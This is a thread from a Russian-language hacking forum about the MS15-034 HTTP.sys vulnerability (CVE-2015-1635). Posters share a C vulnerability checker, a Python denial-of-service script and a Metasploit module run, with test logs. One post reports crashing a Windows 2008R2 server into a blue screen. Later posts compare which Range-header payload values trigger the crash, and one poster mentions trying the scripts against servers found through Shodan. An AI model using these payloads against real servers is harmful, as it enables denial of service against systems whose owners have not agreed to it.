• XSS.stack #1 – первый литературный журнал от юзеров форума

DoS Windows 8.1/7 HTTP.sys Remote Code Execution

krest

RAID-массив
Пользователь
Регистрация
03.12.2014
Сообщения
79
Реакции
4
В сетевом стеке HTTP.sys для серверных Windows обнаружена критичная уязвимость, из-за которой HTTP.sys неправильно обрабатывает специальным образом составленные HTTP-запросы, вызывая DoS или удалённое исполнение кода.

Ниже приведен код эксплоита, который осуществляет сканирование системы, чтобы вызвать переполнение буфера и проверить, уязвима система или нет.

Уязвимость получила номер CVE-2015-1635: хттп://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635

Код:
/*
UNTESTED - MS15-034 Checker

THE BUG:

8a8b2112 56 push esi
8a8b2113 6a00 push 0
8a8b2115 2bc7 sub eax,edi
8a8b2117 6a01 push 1
8a8b2119 1bca sbb ecx,edx
8a8b211b 51 push ecx
8a8b211c 50 push eax
8a8b211d e8bf69fbff call HTTP!RtlULongLongAdd (8a868ae1); here

BY: john.b.hale@gmai.com
Twitter: @rhcp011235
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 

int connect_to_server(char *ip)
{
int sockfd = 0, n = 0;

struct sockaddr_in serv_addr;
struct hostent *server;

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Error : Could not create socket \n");
return 1;
}

memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(80);
if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
{
printf("\n inet_pton error occured\n");
return 1;
}
if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
{
printf("\n Error : Connect Failed \n");
return 1;
} 

return sockfd;
}


int main(int argc, char *argv[])
{
int n = 0;
int sockfd;
char recvBuff[1024];

// Check server
char request[] = "GET / HTTP/1.0\r\n\r\n";

// our evil buffer
char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";


if(argc != 2)
{
printf("\n Usage: %s <ip of server> \n",argv[0]);
return 1;
} 

printf("[*] Audit Started\n");
sockfd = connect_to_server(argv[1]);
write(sockfd, request, strlen(request)); 
read(sockfd, recvBuff, sizeof(recvBuff)-1);

if (!strstr(recvBuff,"Microsoft"))
{
printf("[*] NOT IIS\n");
exit(1);
}

sockfd = connect_to_server(argv[1]);
write(sockfd, request1, strlen(request1));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (strstr(recvBuff,"Requested Range Not Satisfiable"))
{
printf("[!!] Looks VULN\n");
exit(1);
} else if(strstr(recvBuff,"The request has an invalid header name")) {
printf("[*] Looks Patched");
} else
printf("[*] Unexpected response, cannot discern patch status");

}

ORIGNAL PoC: _http://pastebin.com/raw.php?i=ypURDPc4
 
Пробовал вчера. Взял шоган и по 5-7 сервакам прошелся. Результата нет. Везде выдает таймауты. Или питоновский скрипт с ошибкой или я чего-то недопонял.
 
Вот еще нашел Microsoft Windows 8.1/7/others HTTP.sys Request Parsing DoS (MS15-034)
На Win Srv 2012R2 должно работать

Код:
#Tested on Win Srv 2012R2.
import socket,sys

if len(sys.argv)<=1: 
sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host, 80))
s.send(Payload)
s.recv(1024)
s.close()

#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"

SendPayload(Init, Host)
SendPayload(Payload, Host)
 
Пробовал вчера. Взял шоган и по 5-7 сервакам прошелся. Результата нет. Везде выдает таймауты. Или питоновский скрипт с ошибкой или я чего-то недопонял.

Ну как бы целью является кусок веб сервера ISS, и видимо уже есть заплатки)))

И как задрот Metasploit'a скажу вам вот что:

auxiliary/dos/http/ms15_034_ulonglongadd --- Normal --- MS15-034 HTTP Protocol Stack

msf auxiliary(ms15_034_ulonglongadd) > info

       Name: MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service
     Module: auxiliary/dos/http/ms15_034_ulonglongadd
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Bill Finlayson
  sinn3r <sinn3r@metasploit.com>

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target address range or CIDR identifier
  RPORT      80               yes       The target port
  TARGETURI  /welcome.png     yes       A valid file resource
  THREADS    1                yes       The number of concurrent threads
  VHOST                       no        HTTP server virtual host

Description:
  This module will check if your hosts are vulnerable to CVE-2015-1635
  (MS15-034). A vulnerability in the HTTP Protocol stack (HTTP.sys)
  that could result in arbitrary code execution. This module will try
  to cause a denial-of-service. Please note that you must supply a
  valid file resource for the TARGETURI option. By default, IIS may
  come with these settings that you could try: iisstart.htm,
  welcome.png, iis-85.png, etc.

References:
  http://cvedetails.com/cve/2015-1635/
  http://technet.microsoft.com/en-us/securit...lletin/MS15-034
  http://pastebin.com/ypURDPc4
  https://github.com/rapid7/metasploit-framework/pull/5150

github.link

ЗЫ: И что бы удовлетворить всех присутствующих, заливаю на виртуалку 2008r2Enterprise
Ждите результата
 
И так, по быстрому протестировал, всё, что представлено выше и до кучи кусок метосплоита мной же опубликованном.

Из всего перечисленного, ничего не отрабатывает... За исключением метасплоита, denial-of-service, именно то, что я публиковал вышел. Вышибает в синий экран. Но обо всём по порядку.

Виртуалка на Windows 2008R2 Ent x64

win.jpg


Система запуска сплоитов:
Linux UserNamed-VirtualBox 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

Покатились....

Код:
gcc CVE-2015-1635.c -o CVE-2015-1635.run
UserNamed@UserNamed-VirtualBox:~/Exploits$ gcc CVE-2015-1635.c -o CVE-2015-1635.run
UserNamed@UserNamed-VirtualBox:~/Exploits$ ./CVE-2015-1635.run 

 Usage: ./CVE-2015-1635.run <ip of server> 
UserNamed@UserNamed-VirtualBox:~/Exploits$ ./CVE-2015-1635.run 192.168.0.10                                                     
[*] Audit Started                                                                                                       
[!!] Looks VULN
Со стороны атакуемой машины ничего не произошла....

Идём дальше...... Win8.1 у меня нет, а вот домашняя система на Win7_Pro_X64... В опписание представлено, что работает под Microsoft Windows 8.1/7/others....
Пробуем....

Код:
UserNamed@UserNamed-VirtualBox:~/Exploits$ python WinServ2012R2.py 
  File "WinServ2012R2.py", line 5                                                                                       
    sys.exit('Give me an IP')                                                                                           
      ^                                                                                                                 
IndentationError: expected an indented block                                                                            
UserNamed@UserNamed-VirtualBox:~/Exploits$ python WinServ2012R2.py 192.168.0.10                                                 
  File "WinServ2012R2.py", line 5                                                                                       
    sys.exit('Give me an IP')                                                                                           
      ^                                                                                                                 
IndentationError: expected an indented block                                                                            
UserNamed@UserNamed-VirtualBox:~/Exploits$ python WinServ2012R2.py 192.168.0.111
  File "WinServ2012R2.py", line 5                                                                                       
    sys.exit('Give me an IP')                                                                                           
      ^                                                                                                                 
IndentationError: expected an indented block

Собственно, мне так и не удалось его запустить......

Ну и последний вариант, модуль метасплоита
auxiliary/dos/http/ms15_034_ulonglongadd
успешно выбил Windows 2008R2 Ent x64 в синий экран и отправил его в рестарт....

Код:
msf > use auxiliary/dos/http/ms15_034_ulonglongadd
msf auxiliary(ms15_034_ulonglongadd) > show options 

Module options (auxiliary/dos/http/ms15_034_ulonglongadd):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      80               yes       The target port
   TARGETURI  /welcome.png     yes       A valid file resource
   THREADS    1                yes       The number of concurrent threads
   VHOST                       no        HTTP server virtual host

msf auxiliary(ms15_034_ulonglongadd) > set rhosts 192.168.0.10
rhosts => 192.168.0.10
msf auxiliary(ms15_034_ulonglongadd) > run

[*] 192.168.0.10:80 - DOS request sent
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

windown.jpg


Я считаю, что первые варианты нужно допиливать, самый первый, вроди как чекер отрабатывает, а вот второй, так же нацелен на ISS сервер, хоть и простыми способами запустить не удалось... НО, в предложенном варианте происходит та же пересылка байт
18-18446744073709551615
что и в метасплоите, видимо результатом всего этого, единственный выхлоп, DoS Exploit от MSF...
 
Ваша ошибка "IndentationError: expected an indented block" из-за синтаксиса.
Напр. при определении функции:
Код:
def SendPayload(Payload, Host):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((Host, 80))
        s.send(Payload)
        s.recv(1024)
        s.close()

Наверное у вас нет отступов.
Пробовал тоже на 2008 сервере питоновский скирпт. У меня другая ошибка:

Код:
Traceback (most recent call last):
  File "ms15-034.py", line 21, in <module>
    SendPayload(Payload, Host)
  File "ms15-034.py", line 13, in SendPayload
    s.recv(1024)
socket.error: [Errno 104] Connection reset by peer

А модуль msf успешно положил сервер.
 
Мы с DarckSol тестили и то и другое. Питоновский скрипт я правил но результата это не принесло. Ошибка примерно такая же была, а сервер при этом продолжал работать. msf ложил сервак в BSOD. добиться исполнения стороннего кода не удалось.
 
Дополнительно:
- чекер для проверки отправляет последовательность:
Код:
Range: bytes=0-18446744073709551615\r\n\r\n
а для DoS отправляется другая последовательность:
Код:
Range: bytes=18-18446744073709551615\r\n\r\n
В других источниках писали, что для для DoS необходимо отправлять:
Код:
Range: bytes=20-18446744073709551615\r\n\r\n

В модуле msf для DoS используется последовательность:
Код:
Range: bytes=18-18446744073709551615\r\n\r\n

В итоге все отличные от msf модуля скрипты не срабатывают, машина с 2008 сервером продолжает работать.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх